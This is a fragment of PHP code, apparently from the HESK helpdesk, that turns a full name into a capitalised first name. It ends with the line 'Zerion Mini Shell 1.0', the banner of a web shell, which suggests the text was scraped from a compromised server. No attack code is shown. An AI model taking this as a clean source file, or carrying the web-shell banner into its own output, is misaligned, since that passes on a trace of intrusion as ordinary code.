if (count($name_parts) == 2)
{
$first_name = $name_parts[1];
}
else
{
return $full_name;
}
}
// If the first name doesn't have at least 3 chars, return the original
if(hesk_mb_strlen($first_name) < 3)
{
return $full_name;
}
// Return the name with first character uppercase
return hesk_ucfirst($first_name);
} // END hesk_full_name_to_first_name()
Zerion Mini Shell 1.0